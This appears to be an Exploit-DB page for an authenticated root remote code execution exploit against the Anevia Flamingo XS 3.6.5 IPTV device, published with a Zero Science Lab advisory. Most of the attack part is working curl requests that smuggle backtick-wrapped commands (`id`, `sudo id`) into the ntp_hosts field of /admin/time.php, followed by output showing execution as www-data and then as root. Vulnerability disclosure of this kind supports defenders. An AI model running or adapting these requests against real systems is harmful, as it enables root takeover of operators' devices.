158fcdfd5c
11 changes to exploits/shellcodes/ghdb Anevia Flamingo XL 3.2.9 - Remote Root Jailbreak Anevia Flamingo XL 3.6.20 - Authenticated Root Remote Code Execution Anevia Flamingo XS 3.6.5 - Authenticated Root Remote Code Execution Monstra 3.0.4 - Stored Cross-Site Scripting (XSS) Online Thesis Archiving System v1.0 - Multiple-SQLi projectSend r1605 - CSV injection projectSend r1605 - Stored XSS Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated) Xoops CMS 2.5.10 - Stored Cross-Site Scripting (XSS) (Authenticated) PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
60 lines
No EOL
2.4 KiB
Text
60 lines
No EOL
2.4 KiB
Text
Exploit Title: Anevia Flamingo XS 3.6.5 - Authenticated Root Remote Code Execution
|
|
Exploit Author: LiquidWorm
|
|
Vendor: Ateme
|
|
Product web page: https://www.ateme.com
|
|
Affected version: 3.6.5
|
|
Hardware revision: 1.1
|
|
SoapLive 2.4.0
|
|
SoapSystem 1.3.1
|
|
|
|
Summary: Flamingo XL, a new modular and high-density IPTV head-end
|
|
product for hospitality and corporate markets. Flamingo XL captures
|
|
live TV and radio content from satellite, cable, digital terrestrial
|
|
and analog sources before streaming it over IP networks to STBs, PCs
|
|
or other IP-connected devices. The Flamingo XL is based upon a modular
|
|
4U rack hardware platform that allows hospitality and corporate video
|
|
service providers to deliver a mix of channels from various sources
|
|
over internal IP networks.
|
|
|
|
Desc: The affected device suffers from authenticated remote code
|
|
execution vulnerability. A remote attacker can exploit this issue
|
|
and execute arbitrary system commands granting her system access
|
|
with root privileges.
|
|
|
|
Tested on: GNU/Linux 3.14.29 (x86_64)
|
|
Apache/2.2.22 (Debian)
|
|
PHP/5.6.0-0anevia2
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2023-5778
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5778.php
|
|
|
|
|
|
13.04.2023
|
|
|
|
--
|
|
|
|
|
|
$ curl -sL "http://192.168.1.1/admin/time.php" -H "Cookie: PHPSESSID=o4pan20dtnfb239trffu06pid4" -d "ntp_hosts%5B%5D=&ntp_hosts%5B%5D=%60id%60&ntp_address=&update=Apply&request=ntp" |findstr www-data
|
|
<td>uid=33(www-data)</td>
|
|
<input type="hidden" name="ntp_hosts[]" value="uid=33(www-data)"/>
|
|
<td>gid=33(www-data)</td>
|
|
<input type="hidden" name="ntp_hosts[]" value="gid=33(www-data)"/>
|
|
<td>groups=33(www-data),6(disk),25(floppy)</td>
|
|
<input type="hidden" name="ntp_hosts[]" value="groups=33(www-data),6(disk),25(floppy)"/>
|
|
|
|
|
|
---
|
|
|
|
|
|
$ curl -sL "http://192.168.1.1/admin/time.php" -H "Cookie: PHPSESSID=o4pan20dtnfb239trffu06pid4" -d "ntp_hosts%5B%5D=&ntp_hosts%5B%5D=%60sudo%20id%60&ntp_address=&update=Apply&request=ntp" |findstr root
|
|
<td>uid=0(root)</td>
|
|
<input type="hidden" name="ntp_hosts[]" value="uid=0(root)"/>
|
|
<td>gid=0(root)</td>
|
|
<input type="hidden" name="ntp_hosts[]" value="gid=0(root)"/>
|
|
<td>groups=0(root)</td>
|
|
<input type="hidden" name="ntp_hosts[]" value="groups=0(root)"/> |